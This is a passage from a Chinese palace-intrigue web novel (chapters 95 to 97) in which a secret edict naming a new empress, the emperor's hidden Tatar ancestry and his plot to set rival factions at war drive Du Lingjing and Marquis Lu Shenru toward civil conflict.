来人开口。 “皇上突然病重,以密旨传于永定侯爷与贵妃娘娘!” 病重……密旨…… 陆慎如攥起了手。 第95章 密旨传召。 陆慎如当即让人将陆怀如请了过来。 诏书就在眼前。 陆怀如没有当先打开诏书, 只是问去前来传信的大内侍卫。 “皇上病重?” “是。” “因何病重?眼下如何?” “皇上突发昏迷,实在清醒的片刻写下诏书传与娘娘和侯爷!至于旁的,臣并不知晓。” 陆怀如缓缓皱了眉, 陆慎如跟她对视了眼神。 姐弟二人这才打开密诏,一眼看去, 二人皆微怔。 皇上传的这道密旨, 竟是一道封后诏书—— 皇上欲封贵妃陆怀如为继后,昭告天下,让她母仪天下。 陆怀如少时便被僧道批命乃是稀世罕见的凤命,陆氏并不为此欣喜, 反而苦恼不已。这凤命,她避了又避, 可到最后,她还是入了天家。 文武相抗,永定军需要陆氏血脉登上高位,她开始需要这凤命成真。但这么多年, 皇后不逝, 皇上无法册封继后, 她只能在这贵妃之位上等了又等。 今日,她等了许久的这道圣旨, 竟就这么来了。 殿中一时只剩下姐弟二人。 二人皆是一默。 陆怀如轻轻叹了一声,“我昨日还去探过皇后娘娘, 娘娘虽未见我,我却听闻娘娘精神尚可, 不可能立时殡天。” 陆慎如压眉不言。 这道封后诏书,他已期盼多年了。只要娘娘做了皇后,外甥逢祯就是名正言顺的皇上嫡子, 是太子的唯一人选。 但他实在没想到,皇上的封后诏书竟此时到了,而皇后还没殡天。 皇上突然有此密诏相传,是什么情形? 他转身叫了人过来,“行宫可有消息传来?” 说着又打发了人,“速去行宫探得皇上状况!” 他吩咐下去。 崇平不时来报,说行宫眼下还没有消息过来,但过了两刻钟的工夫,互有先前陆慎如派过去每日问安的人,折返而回。 “侯爷,见不到皇上了!” 话音落地,姐弟二人不禁对了个眼神。 行宫看来真的出状况了。 只是他们远在京城,无法立时探知行宫之内的事。 陆慎如立时再派人手不断往行宫而去。 陆怀如沉默深思。 就在这时,山房别院的侍卫突然来报,倒那汉人细作,有话要禀侯爷。 陆慎如未再动刑,养了此人多时,为的就是这一天。 此刻行宫尚无消息传来,他直接道。 “带他过来。” * 京外。 杜泠静跟随廖先生,见到了父亲身边的幕僚楚牧。 眼前的人瘦弱羸弱到,几无当年追随父亲的风姿。 杜泠静险些没能认出他来,而他亦反复看了杜泠静许久。 “姑娘,已然长成大姑娘了,阁老若还在世,眼见姑娘如今模样,不知如何心绪?” 杜泠静鼻头一酸,眼眶亦发热。 她问楚牧,“先生,您这些年在何处?缘何不回青州寻我?” 但她问去,楚牧只摇头。 “非我不想找姑娘,而是这一程凶险,阁老出门前就有交代,刀山火海他自去,盼姑娘安稳留在家中,三郎能护好姑娘。” 这话说得杜泠静微怔,“三郎……” 她想起三郎在爹过世之后,特特寻到陆惟石,同他说得话。 “爹将我全全托付给了三郎?” “是,不然阁老怎能安心离去?” “所以父亲当年到底回朝堂去做什么?又因何半途丧生?” 她问出了这百思不得其解的问题。 楚牧极长地叹了口气,廖先生给他续了茶,他道谢。 “阁老许多事,并不曾与我直言,兴许是涉及太深,说出口便是祸害他人。” 他道,“但阁老说他是拂党中的一人,是拂臣。什么是拂臣,为了家国百姓,哪怕违抗君意而为,便是拂臣。” “我最初想,阁老也好,又或是廖先生与我们这些人,我等皆是拂臣,是该为家国不顾个人安危。” 他说到此处顿了一下。 “但直到今岁,我终于在京城认出了那个当年引阁老上山的人,我才知道阁老这话真正的意思是什么?” 父亲本不该上那座山,他果然是被人引上了山去,遇了山洪。 杜泠静嗓音微抖,“是谁?” 楚牧默然看了她的眼睛。 “是陆侯爷的表弟,如今的锦衣卫指挥使,魏玦。” 话音落地,杜泠静耳中一空。 有关魏玦的一切奇怪行径,如同海浪一般,拍在她脚下。 难怪他给她送了极其重的礼道贺,难怪他京中与她再遇,她提到他从前最是敬仰的她父亲,他沉默不厌,难怪他不肯再娶年嘉,难怪连保国夫人都看不懂他,而他却在前些日,父亲的忌日,同窦阁老一样,独自出现在澄清坊里…… 而这时,楚先生又开了口。 “那锦衣卫指挥使魏玦,只是领命办事而已。” 杜泠静抬眸看去,楚牧低声。 “真正给他下令,让他除掉阁老的人,只可能是一个人……皇上。” 前面听到魏玦的时候,她已经知道这个答案了。 皇上不喜父亲新政的主张,让杜阁老将他荒废的新政通通收掉,她以为君臣正见不同也是寻常,但皇上却令魏玦,私下里杀掉了父亲…… 她沉默了。 倒是楚牧又问她,“姑娘嫁了陆侯爷,陆侯待姑娘如何?” 他没找上侯府门去,也没让陆侯的人跟来,正是因为陆侯与魏玦和皇上,都太过亲近了,他拿不准。 但杜泠静告诉了他。 “侯爷虽是领旨娶我,但……”她抿唇轻轻笑了笑,“但他是父亲在世时,就为我定下的夫婿。” 楚牧讶然,又瞬间松快一笑。 “竟是如此,我唯恐姑娘落入了龙潭虎穴,没想到竟是阁老的安排。” 他道,“阁老既然为姑娘定下侯爷为夫婿,想必早已料到,乱世之中,只有侯爷这等强而有力的男人,才能护得姑娘周全。” 这话说得杜泠静,不由地想起了去岁中秋之前。 父亲过世之后,她的日子看起来平静安稳,她以为自己可以在勉楼修书一辈子,却不曾想,叔父差点为了那一时的利益,越过她与族里,将她嫁给邵伯举,给邵伯举续弦。 若入乱世,寻常百姓不可保,她是阁老独女,亦不可保。 反倒是陆惟石非要娶她,打乱了叔父和邵伯举的交易。 杜泠静突然想到三郎,会否三郎也看到了这一处? 他在碎纸片上写下:世道将乱,病体残躯何以抵挡?拖累而已…… 杜泠静闭起了眼睛,突然而至的真相令她思绪翻腾如浪。 楚牧又趁着尚有精神,跟她说了些话,杜泠静压下纷乱的心思,将这些俱都听进了耳中。 但楚牧说着说着,精神就明显不济起来,言语之间渐渐混乱。 廖先生跟杜泠静摇了摇头,“静娘先回去吧,若还有什么想知道的,之后再问也是一样。” 杜泠静拜托廖先生照顾楚牧,告辞离去。 马车吱吱呀呀地往京城而去,烈日几乎将人晒化在进京的大道上。 杜泠静反复想着皇上令魏玦除掉父亲之事。 而就父亲生前所言,他显然也知道皇上并非明君,可他更抱着无法返回的决心,毅然折返朝堂。 拂党,拂臣。 为了家国百姓,违抗君意而为,便是拂臣。 那么父亲要“拂”的,就是皇上。 而父亲,是否还知道旁的关于皇上的事? 杜泠静瞬间想到了三郎留下的纸页上,提及的有关皇上生母魏妃之事。 三郎可是少年就高中一省解元的人,他最是机敏警觉,又有从蒋氏族内得来的不为人知的消息,会都在多年整理朝堂之事后,对于魏妃甚至皇上,有不同寻常的猜测? 她思及此,直接令人转道,“去红螺寺,我要见蒋太妃娘娘!” 红螺寺。 朴嬷嬷给杜泠静上了茶和点心,就下去了。 禅房里独留杜泠静与太妃娘娘二人。 杜泠静把关于魏妃的疑问,问出了口。 “魏妃……”蒋太妃没想到,她会突然问及这过世近四十年的旧人。 “静娘想要问她何事?” 杜泠静想了想,“您是否知道关于魏妃娘娘身上,说不通的奇怪事?” 这话一出,蒋太妃便抬头看了她一眼。 “静娘当真要知?” 杜泠静肃了神色,定定地点了点头。 蒋太妃默了几息,缓声开了口。 她说魏妃是忠庆伯府魏氏的人,因着非是嫡枝,出身不算高。魏妃是在她之后才嫁了先帝。 “她性子偏安静怯懦,出身不高,偏偏过门多年皆无所出,也就是先皇后娘娘仁善,并不为难妃嫔婢妾。但魏妃还是郁郁,某次染了风寒之后,一直不愈。” 蒋太妃叹道,“我见她可怜,便跟她提议,让她离开王府,往外面养病,也算能散散心。” 她说魏妃去求了先帝的孝容皇后,得了应允就去了外面养病。 “她这一去,去了一年有余,我还与她通过几次信。” 蒋太妃忆到此处,顿了一顿,接着看了杜泠静一眼。 “我是再没想到,她回来的时候,竟抱了个孩子回来。” 杜泠静心口一跳。 “娘娘觉得那孩子不太对?” 蒋太妃点了头,“莫说魏妃嫁进王府之后,多年不曾有所出,只说那孩子。” 她道,“那孩子的模样看起来不似新生,若论看起来的年岁,魏妃应是在离开王府之前就有了身孕。可那时,先帝在外领兵作战,数月未曾回府,而魏妃因病请过大夫,大夫不曾说她有孕。” 蒋太妃说起遥远的旧事,声音极轻,但杜泠静却心头重重一响。 “所以您怀疑,那孩子并非魏妃娘娘亲生?” 蒋太妃微微颔首。 可她却道,“但这个孩子,是先帝抱着回来的,不管他是不是魏妃所出,都是先帝的血脉,更是如今的皇帝。” 蒋太妃知道的能说的,也就这么多了。 杜泠静方才还如浪涌一般纷乱的思绪,此刻一点一点地如雨般落定下来。 蒋太妃娘娘只知道孩子不是魏妃的,但却是先帝的。 而只有先帝才知道孩子到底是他与何人所育。 但这个女子,她出身非同一般,不能纳入王府,更不能宣之于口。 所以他并不喜欢这个孩子,即便先太子死后,他优柔寡断不知该立哪个儿子,但到了只剩下五皇子排在前面的时候,他再也不犹豫,他当机立断地立了五皇子为太子。 朝野内外,或许都以为皇上是因为三皇子四皇子夺嫡之事伤了心,这才有了决断。 但也许另有原因。 因为,他不想汉人至高无上的皇位,落到一个有着鞑靼人血统的孩子手里! 而六皇子殷王,如今的皇帝,就是那个潜藏在朝廷深处,有着鞑靼血统的人! 杜泠静内心震荡不已。 她不便与避世红螺寺的蒋太妃多言此事,但她要立时回京,告诉她那被委以监国重任的侯爷。 皇上恐就是永定军一直在找的细作,而皇上以阴私手段杀死了父亲,杀死了这个可能违抗他所思所想的拂臣。 那么已在皇位之上的皇帝,他还想做什么呢? 但杜泠静还没能离开红螺寺,忽见一人出现在了此间。 * 京中。 陆慎如见到了那汉人细作,汉人细作亦将话都告诉了他。 “……罪人知道的就这么多了。” 他低声,“汉人的王朝与百姓,不该被外敌压制残害,可是,他却是坐在九五至尊位置上的皇帝。” 皇帝。 陆慎如缓缓闭起了双眼。 他挥手让人把汉人细作带了下去。 原来皇上便是当年通信鞑靼九王的细作之首,原来他才是陷永定军于生死困境的罪人。 但当年谁也不知道,而他利用监国的机会,反手拉拢了永定军。 其他皇子无不想娶永定侯府的陆氏大小姐为妻,却求而不得,而他则以此手段,让姐姐一顶小轿做了他的妾。 陆慎如攥紧的双手之上,一双英眸猩红。 而隔着一道屏风,贵妃陆怀如坐在屏风后面的交椅上,她眼帘颤了又颤,终是又恢复了平静。 “惟石。”她轻声叫了弟弟,“眼下最紧要的,是如何应对此密诏。” 陆慎如神思一凛。 密诏封后。 是皇帝真想立后,传位慧王逢祯,还是根本就另有所图? 殿中一时无言,直到崇平急促来报。 “侯爷!” “何事?” “夫人今日出京之后,被人劫走了!” 这个关头?! 陆慎如腾得站起了身来。 “何人劫走了夫人?!” “是蒋探花,蒋枫川。” * 远离京城的马车之上。 杜泠静长眉紧蹙,冷着脸看向蒋枫川。 “你立时放我回去,六郎,我不是在同你笑闹。” 但蒋枫川只摇了摇头。 他见她鼻尖都生了汗珠,取扇子给她扇了扇,杜泠静脸色更冷,一味盯着他。 蒋枫川静静看了她一眼。 “你是先与三哥定的亲,既是定了亲,我蒋氏就该履婚约娶你过门。” “三哥已经过世,兄终弟及,”他微顿,“你当嫁给我。” 兄终弟及…… 杜泠静愕然看了他一眼。 “你在说什么?” 青年在她渐怒的眸色下,微微垂了眼眸。 他知道,她一直只把他当作家中的弟弟。 但今时不同往日,他再次抬头,定定朝她看去。 “我会娶你过门,我会珍重待你,我绝不会比三哥和陆慎如待你差,他们有的我也有,你之后安心嫁我就是,你有孕在身也没关系。” 他说完,抽出帕子,抬手要为她擦掉鼻尖汗珠。 只是他手下刚刚靠近她的连忙,她忽的伸手,一巴掌打在了他的脸上。 啪得一声。 这一巴掌极响。 “你疯了?”杜泠静问去。 脸边火辣生疼。 蒋枫川没去捂脸,也没去擦脸,反而低头笑了一声。 “打我……好吧,我也算是有了三哥不曾有过的待遇,也是同他在你这里,不一样了。” 他还在笑。 可他还是抬手,趁着杜泠静不注意,替她擦掉了鼻头的汗珠。 杜泠静不可思议地瞪眼看向他。 只听见他低了声,“我不可能放你走。外间的情形,也不容许我再放你回去。” 这话听得杜泠静微顿,“什么情形?” 蒋枫川看了她一眼。 “你在京城并不知晓。但是行宫之中,皇上已经传召雍王殿下与窦阁老,要立雍王逢祺,做那东宫太子!” 杜泠静愕然怔住,耳中轰鸣。 而蒋枫川继续道。 “文武积怨已久,各有拥立之君,陆慎如若是得知,他会善罢甘休吗?” 他道陆慎如拥兵在手,不可能不动兵,“但雍王已有储君诏书,窦阁老亦可请兵护驾。” 他道这一战恐怕不可免。 一旦打起来,势必要你死我活,分出胜负。 他看向杜泠静。 她怒极打来的掌印,红丝于俊美的探花郎脸上浮现。 “若雍王败了,我败了,你还是陆侯夫人,但若是他陆慎如败了,我岂能让你和腹中孩子,跟他一起横死?” 第96章 “你要带我去何处?” 马车颠簸离京, 杜泠静肃声问去蒋枫川。 青年看了她一眼,见她对自己实在没什么好脸色,却不恼怒, 只道。 “自然不会带你去见窦阁老和雍王。” 就算他曾在雍王殿下面前,许过她。但她到底还是陆慎如的夫人。 双方眼下势同水火, 他再不济, 这一点还是看得明白。 他是要保她,不是要害她。 马车一路前行,直到一处僻静的田庄门前停了下来。 “这是太妃娘娘旧年购置的一处田庄,是我借了, 此处僻静无人,你安心宿下即可。” 杜泠静不想跟他说话。她算着路程, 此地距离京城不算远,侯爷若派人寻来,蒋氏的人手根本无可抵挡。 杜泠静默然进了田庄里间。蒋枫川将她送进去安置下来,便走出了门外。 他脚步踏出去, 便向无人的门外道了一句。 “侯府众侍卫一路跟到此处, 真是辛苦了, 不妨都出来吧。” 他话音落下,整个田庄周遭都静了下来。 下一息, 果有侍卫拔剑走了出来。 他见人数不少,略略惊讶。 “跟随一路也未敢动手, 可见你们甚是在意你家夫人的安危。” 他道蒋家的护卫自然比不得侯府侍从。 “但要不要在此时把人接回去,应该由你家陆侯决定。” 他笑着看向众侍卫。 “地方就是此处, 无人前来,你家夫人也不会离开,速速去问你家侯爷吧。” 侍卫们皆是一怔, 但蒋枫川话说尽,转身回了田庄之中。 杜泠静身边还跟着阮恭和秋霖。阮恭去连忙打点这临时的住所,秋霖则气哼哼地把房中收拾好。 她嘀嘀咕咕着六爷犯什么疯病,将夫人好端端劫到此处。 她的嘀咕,杜泠静都听不见了,心里反复想着今日知悉的、这一道道惊涛骇浪般的事。尤其是最后一道。 她静默坐在窗下的交椅上。 皇上每年暑夏都去行宫避暑,今岁他要去,没人奇怪。 可就在这次离宫之时,突然给了雍王立储的诏书。 侯爷和娘娘皆不在他身侧,皆被他留在了京城之中,而他在外给雍王传召立储。 到底是真想立储雍王,还是另有所图? 杜泠静默然思量,一整晚几乎都没能合眼。 只是翌日一早,蒋枫川来了。 她不想再听他说要娶她的荒唐话,但今日六郎倒是乖顺,先问了睡得如何,想要吃点什么。 她并不欲理会他,但他却问她。 “方才行宫传来一桩事,你一定想知道。” “何事?” 这种关头,杜泠静很难不上钩。她一问出口,青年就看着她发上垂下来的飘带,笑了一声。 但瞬间,他又肃正了脸色。 “皇上不见了。” “不见了是何意?”杜泠静耳中发慌。 蒋枫川轻轻哼了哼,“就是找不到人的意思。” 他道,“至少行宫里的人,窦阁老也好,雍王殿下也罢,他们都找不到皇上了。” 杜泠静愕然,心下越发不安地快跳起来。 * 避暑行宫。 一夜之间,皇上不见了,连同皇叔兖王,三皇子承王,以及随侍在侧锦衣卫。 行宫重臣不免乱了起来。 堂堂一国之君不见可是大事,他们不敢报于天下,亦不知要不要报去京中朝堂,毕竟此番跟来的多时拥立雍王的文臣,而京中如今是永定侯陆慎如坐镇。 有人猜测,“会否就是陆氏劫持了皇上?!” 皇上前脚传召立储雍王,翌日就不见了,一同不见的还有锦衣卫。 “要知道那锦衣卫指挥使魏玦,素来与陆氏狼狈为奸,他们带走了皇上,就是挟持君主想要造反!” 不少人都如此以为,不然皇上怎么会突然消失不见? 众人此刻都围在雍王逢祺身侧。 窦阁老一时没有开口言语。 邵氏推到逢祺身边那最是聒噪的人,此刻更是嘴巴不停。 “必是那狗贼陆慎如所为?他定是听闻殿下有了皇上亲赐诏书,不甘功亏一篑,这才伙同锦衣卫劫持了皇上……殿下登基之后,务必要将陆氏千刀万剐,莫要再念什么无关紧要的旧情,不过就是从前得了贵妃些微照料,殿下届时只给她留一命就是,发入冷宫,无需再记挂心上……” 他喋喋不休,平素雍王最多皱眉不耐。 但他今次这几句处置陆氏的重话,还没说完,少年亲王忽的两束目光扫了过来。 他才十五六的年岁,还是少年人的模样。邵氏仗着自己是母族,一贯把他当作孩子。 可此时此刻,他眸色凛然,这一记眼光扫过。 莫说那邵氏聒噪之人,连同整个议事厅,都瞬间静了下来。 方才那人还要将陆贵妃打入冷宫,此刻竟根本无法张口说话。 逢祺默了几息,唯独开口叫了沉默良久的窦阁老。 “吾想与窦阁老,单独叙上几句。” 旁人闻言,哪敢反驳,连忙躬身退了下去。 待人走尽,窦阁老起身跟他行了礼,“殿下想说什么?” 逢祺改了方才冷肃凛然的神色,少年眸中终是露出几分茫然,他想了又想,轻声问窦阁老。 “父皇不见,会否不是劫持,而是父皇下令锦衣卫,拥他悄然离开了行宫。” 父皇将皇叔兖王和三弟逢祥都带走了,唯独留了他在行宫里。 父皇确实留给了他成为太子的诏书,但也将整座京城都留给了陆侯。 他莫名就有一种感觉,感觉他的父亲,可能并不真的想让他来继位…… 少年默然仰头看去窦阁老,窦阁老是最早支持他的人,他有志有谋,在他心中比整个邵氏母族都重要。 他问过去,这才发现窦阁老鬓角发丝,不知何时全然白了。 而窦阁老闭了闭眼睛。 “殿下所言,不无可能啊……” 真有可能是父皇弃他,而后悄然离去!少年眸色震荡。 但窦阁老又道了一句。 “即便如此,皇上已然传下诏书给殿下,陆氏欲拥立慧王,又拥兵在手,怎肯善罢甘休?” 他道。 “眼下境况,殿下孤立此地,若是无有作为,老臣说句难听的,只是待宰的羔羊而已。” 陆氏为刀俎,他们为鱼肉。 “殿下想要护住自身,亦需要引兵马前来。” 引兵马前来,就意味着他与陆氏的这场厮杀,走到必不可免的地步了…… 少年还是个身量尚未长足的男孩,他抱臂坐在阔大空荡的圈椅上。 深深低头沉默。 * 田庄。 杜泠静见到崇平前来,先将自己知晓的一概事宜,都同崇平说了来。 “……这些事,侯爷知不知道?” 崇平连道侯爷都知道了,“只是杜阁老一事,侯爷应该没有料到。” 杜阁老竟是皇上令魏指挥使,神不知鬼不觉除掉的。 崇平亦惊讶。 而他低声,将侯爷得了封后密诏的事,告诉了夫人。 杜泠静昨晚没有睡下,将这些事来来回回思索了一夜。眼下听闻陆惟石也有诏书在手,她不禁地摇头。 “两道诏书,密传两边,如今皇上更是不见了……” 杜泠静想到他杀父亲的事,皇上想要见不到父亲,可以有一百种方法,却选了最阴私的一途,暗地杀人,明里还惋惜不已。 彼时刚登基不久,就能用这等手段,如今他传召两方,又想做什么呢? 她叫了崇平,“你既然来了,我们回京吧。” 然而她开口说去,却见崇平支吾了一下。 “夫人,这并不着急……” 杜泠静一怔,“何意?” 她反应过来,抬眸看了崇平。 “他不想我回去?” 崇平但见夫人抬眸看来,心下就是一跳,接着听闻夫人轻声问了这句,连忙解释。 “侯爷怎么会不想夫人回去?只是眼下的情形太过纷乱。” 彼时侯爷听闻夫人被劫,脸色都变了,恨不能亲自出京去寻夫人,接夫人回家。 但侯爷听闻侍卫传回来的话,却沉默了几息。 “就让她先留在蒋家吧,也算是个安稳的去处。” …… 此刻,崇平把话同杜泠静说了。 “侯爷亦念着夫人,只是眼下情形,夫人留在此处更安稳。侯爷调了大批侍卫前来守护夫人安危,必不让夫人受一丝一毫伤害。” 崇平后面说得这些,杜泠静都听不见了。 她只想起了那晚,她见他从祠堂出来,他牵她去了前院,说起了他的名字。 他说那名字是老侯爷取得,却不是为他自己,而是为了警醒整个陆氏。 慎终如始。 陆氏是保家卫国的忠良,不是起兵祸国的奸佞,决不可为一己私欲拥兵篡位,搅得天下大乱,民不聊生。 他说若有那日,第一个来剿他的就是靖安侯府周氏,而天下各路人马,均可起兵攻他。 然而他还是道。 “眼下四海安泰,多么难得,如果潜藏在朝中那人,非要走到祸乱的地步,用阴私手段扰乱朝纲。” “若到那一步,我不得不起兵,即便是乱臣贼子,我陆慎如也当了。” “即便是被天下群起攻之,不得好死,我也只能走这一条狭路!” 那晚的庭院寂静无声,杜泠静说不清自己为何,骤然落下泪来。 杜泠静只想到他还曾想去江南。但乱局已令他无暇去他的江南,真到了他所言的地步,江南连他梦中都不再存在。 那晚的悲感,融在她眼角的清泪里。 但此时此刻,杜泠静缓声问了崇平。 “所以,他不肯接我回去,是要动兵了,是不是?” 崇平一默。 杜泠静遥遥往京城的方向看去。 隔着数不清的道路田野草林,她什么都看不见。 可她却仿佛看见他孤身一人,立在那宫城高耸的城楼之上。 他是拥兵在手,可天下兵马却都揭竿而起,从四面八方向他杀去。 “夫人,事到如今,窦阁老与雍王一定会用立储诏书,引地方兵马护驾,更往京城而来。侯爷已然别无他选了。” “侯爷亦十二分地思念夫人,却只能等一切平息之后。” 等一切平息之后。 杜泠静鼻头酸涩难忍。 他一旦起兵,天下必群起攻之,他赢了,也是拥立幼帝,欲谋朝篡位,而他输了,只有唯一一种可能。 那就是他陆慎如被天下唾弃,身首异处。 * 京城。 宫城之中,陆慎如一连吩咐了许多事下去,快马从皇城之下向四面八方飞奔。 男人负手立在高耸的宫墙之上,隔着绿树护河,看到了积庆坊里的永定侯府。 侯府亦在绿树掩映之下,看不清楚,可他却一眼瞧见了那最高处的漱石亭。 他们曾在她应他之后,于漱石亭中赴他的宴请,亭外落了雨,他道一句“别沾雨”,抱着她一路去到他们的新房。 后来,又是漱石亭,她看向他的脸色泛了含羞的红意,她柔声开口,“夫君真是英俊,世间可比拟的男子,应该没有了。” 那是他听过她跟他说得,最好听的软话。 …… 今晚的漱石亭,灯火昏暗,侯府寂寂,她已不在家中了。 但她不在他眼下也好。 男人微微闭眸。 这桩姻缘是他强行求来的。 他知道她喜欢蒋竹修,远胜于他。 她曾给蒋竹修打过那么多绦子,但说要给他做的腰带,他估计是等不来了。 只是若有一天,他也死了。 “泉泉,可否会似思念你的蒋三郎一般,时常想起我?” 男人轻笑低语,低哑的嗓音,揉着暑热未褪的夜风之中。 他自言自问,问出口,忽又笑着摇了摇头。 “时常想起恐怕是难了。” 蒋家庇佑她,她也会回到她喜爱的竹林与竹香里。 他笑,“若能看在孩子的份上,偶尔想起我两分,也就够了。” 他奢望什么呢?她嫁给他,本就是他强求来的。 …… 有人亦上了高台。 贵妃陆怀如仰头看向弟弟。 弟弟孤身立着,目光不曾离开侯府半分,不知在说什么,自言自语,又自嘲地笑笑。 陆怀如微微抿唇。 他在想念他的静娘吧,但却没舍得把静娘接回来。 石头一样硬的脾气,也会喜欢一个姑娘,为了等她,等了一年一年又一年。 终于,他等到人家眼里有了他,愿意与他携手过完这一生。 但他却为了自己宫中的胞姐,年幼的外甥,还有如山一般压在他肩上的重任,就被钉在了这皇城里,钉在了这高位上,再无法抽身。 陆怀如眼眶一热,默然看向自己的弟弟。 “惟石。” 他转过身来。 “娘娘何事?” “我想见逢祺一面。” 话被吹在城墙上的风里。 男人一滞。 “娘娘想见雍王,这怎么可能?” * 行宫。 皇上的踪迹如同凭空消失一般,怎么也找不到了。 行宫群臣人心惶惶。 窦阁老依旧大多时候都沉默不言。 少年皇子也将那些聒噪的人,都拒在了门外。 他心下纷乱地翻着寝房中的书,翻着翻着,竟然翻到一本给小孩子启蒙的史册。 他拿起那本启蒙书,多翻了几页。 给他启蒙的,是贵妃娘娘从永定侯府请来的余先生。 余先生最是耐心,将其书上这些历史典故,怕他听不懂,就掰碎了嚼烂了,编成小孩子才能听懂的话,告诉他。 他某次课后,突然问了余先生一个问题。 “先生讲的历史典故里,缘何有许多皇家兄弟手足之间的打杀?听着骇人。” 余先生闻言一愣,又叹一声。 “皇权之下,天家难有手足真情。” 可他却听着更加害怕。 他也有弟弟了,不是逢祥,而是娘娘刚生下来的小四弟,逢祯。 他惊怕地问先生。 “先生,我与小弟不会也如此吧?” 先生一听,连忙摆手。 彼时太子大哥尚在,但先生却告诉他。 “这不会。娘娘视殿下如己出,殿下在娘娘身前长大,与小殿下最是亲近,必然兄友弟恭。” 他心里安实了一些,只是带跑回了娘娘宫里,一眼看到娘娘就站在殿前的庭院里等着他下学,他如乳燕飞起来一般,就扑到了娘娘身前。 那日,他不知怎么突然出声。 “母妃……” “嗯?” 娘娘顿了顿。 他以为娘娘会责怪,毕竟这称呼在宫中再不能乱喊。 可娘娘却将他团团抱在了怀里,只是跟他嘘声,“咱们别让人听见!” 他又惊又喜地不住点头,将脑袋彻底迈入娘娘的怀中。 娘娘就是他的母妃,若是哪日母妃不要他了,他该怎么办呢…… 少年翻着那本启蒙书,从第一页翻到了最后一页。 书上不知记载了多少天价手足之祸,兄弟阋墙,最后的结局,大多只会被外人得利,攻入其中。 合上书,他闭起眼睛。 “我与小弟,也非要走到这一步吗?” * 隐蔽的一处院落之中。 锦衣卫与大内侍卫,里三层外三层地镇守其中。 “这处安静,一点纷扰都没有。” 瘦削的男人换下龙袍,只着一身褐色龙纹锦袍,悠然摇着扇子,坐在树下的凉爽风里的摇椅上。 他道了一句,有人在旁应和。 “皇上所选此地甚好。” 是兖王。 皇帝笑笑,“可惜眼下还不能立刻知道,京城和行宫都欲如何应对?” 兖王低着头,“那必是在皇上意料之内,逃不出陛下掌心。” 皇上更笑了,扇子摇着,不断给自己送风至此。 “文武百官可都嫌弃朕啊,先皇更是厌恶。厌恶朕是他和鞑靼部族的贵女所生,将我弃在后院里独自长大,见到我也从没有什么好神色,那么多儿子,他哪个都疼,传位给谁犹豫不决,但独独不想传位给我。” “可朕的那些皇兄都没用啊,这皇位,到底还是传到了我这个有半边鞑靼血脉的人身上。” 兖王不便在此处应声。 他是无意间知晓的此事。这样的辛密,知者必死,他唯有一心跟紧皇上,才能存活下来。 眼下他听着眼前的皇帝越发愉快,虽咳了几声,却止不住脸上笑影。 “先帝传位于我,万般不甘,可却不敢昭告天下。只能嘱托了他最是看重的杜致礼。即便没有明说,去也暗示杜致礼盯着我。” “偏偏,杜致礼还真就以为他可以当那拂臣。” “拂臣,”他哼哼作笑,“违抗皇命,不将君王看在眼中的便是拂臣。我岂能留他?” 兖王默然。 那年,杜致礼回京复职,皇上就派了最是敬重杜致礼的魏玦,亲手去杀他。 杜致礼死了,他也过验了魏玦可以用。 那年轻人有什么办法,他父亲知道太多,他不为皇上做事,他满门都得死。 毕竟明面上,皇上是魏妃的儿子。 关于杜致礼,一个死了多年的人,他早已不放在眼里。 他只道如今的局面,“朕可是煞费苦心才谋得此局,为此还献祭了荣昌伯。” “真是没想到,”他摇着扇子,点了兖王,“朕本是让你,去鼓动那些举子将他气死,料想他身子也受不得气,不想他竟是个烈性的。” 兖王这次接了话,他说是,“臣也没想到,那些书生一激,他竟挥剑自刎了。” “自刎好啊,这把火一下就烧起来了。眼下,朕就等着两边都起兵打起来。” 皇帝瘦削的脸颊上,眸色幽远。 “朕这个皇帝还没死,他们就敢各自起兵,皆是造反。” “文臣武将都以为朕不堪大用,无人将我放在眼里,都等着我死,待我一举将这两方都料理了,倒是要看看他们的脸色如何。” 他说着又低咳起来。 他身体确实撑不了很久了,他道。 “待此番清明了,就让承王来继位。” 他忽然问兖王,“逢祥跟朕是不是最像?” 承王逢祥正就立在远处候着。 兖王看着他亦是一副瘦削模样,站在阴影里,一眼扫过去最易被忽视不见。 他说像,“三殿下也是生母早逝,无人照看,被遗弃在后宫独自长大。” 他这么说,皇上看向那不起眼的三儿子,目光难得和悦起来。 “不仅如此,逢祥生母亦有半边鞑靼血统,先帝不是因此最厌恶朕吗?我偏偏要让逢祥继位,将半边鞑靼血统,替先帝留存下去。” 他说逢祺也好,逢祯也罢,还有皇后的太子。 “他们都不成。他们生母都是纯正的汉人。他们只要再娶汉人,生子再娶汉人,一代一代下去,外族血统就洗没了,如李唐王朝一样。” “但逢祥不同,我会给他在找个有鞑靼血统的女子,就让他把这血统留存下去。” 他道,“我就让先帝看看,他最厌恶的,最不想见到的,偏偏就抹不掉。” 这次兖王也笑了。 反正这天下与他这残废无关。 他起身行礼,“皇上圣明,有皇上布局于此,不管是雍王还是慧王,是窦阁老还是陆侯爷,绝对都逃不脱,皇上必能一举清除这两方,得偿所愿!” 这话说得那瘦削的皇帝脸上,露出淡淡的笑来。 他可真是为了今日,苦苦掩藏多少年。 他那父皇先帝,若在天有灵,可还满意如今局面? * 偏僻田庄。 崇平留下侍卫离开之后,杜泠静默然沉思许久。 她一直遥遥看着京城的方向。 她忽的叫了人来。 “去请廖先生过来,还有父亲的幕僚楚先生。” 第97章 田庄。 杜泠静当先听到了来自京城的信, 道是皇城钟声大响。 是侯爷向外宣布,皇后娘娘殡天了。 只有皇后娘娘“殡天”,皇上此前密令的册封继后的诏书才能生效。 杜泠静心跳如擂鼓, 而几乎与此同时,蒋枫川也派人前来, 告诉他窦阁老亦宣告了皇上另一道诏书, 正是册立雍王逢祺为太子之诏。 两道诏书皆是真诏,两诏一发,双方水火不容之势已然形成。 崇平无暇亲自前来了,只能让崇安又带了一拨人手前来护她。 杜泠静连问崇安, “侯爷如何了?侯爷是否调了兵?!” 崇安连连点头,“侯爷令魏世子快马回西安了。” 他派走了魏琮, 果是要征调大军前来京中。而他坐镇京城最高处,以己之力抗衡天下兵马。 可是天下兵马如此之多,齐齐围攻而来,他要如何才能应对? 杜泠静心口闷压难耐, 又问京中情形如何。 崇安道京城内外皆有些乱。原本就因着荣昌伯一死, 引发的文武相斗还没消停下去。不少京官文臣眼见街上兵马增多, 再听得陆侯趁着皇上不在京城,宣了皇后娘娘殡天的大事, 嗅出了不安气息,开始怒骂他祸心包藏, 终是要祸国乱世。 “可不止文臣如此。靖安侯府周氏,同两外几家掌兵的侯爵府邸, 在京留守的,都给侯爷急急传了信。尤其靖安侯府,请侯爷万万三思后行。” 京中纷乱如同烧着的干柴, 但行宫的窦阁老也宣了立储诏书。 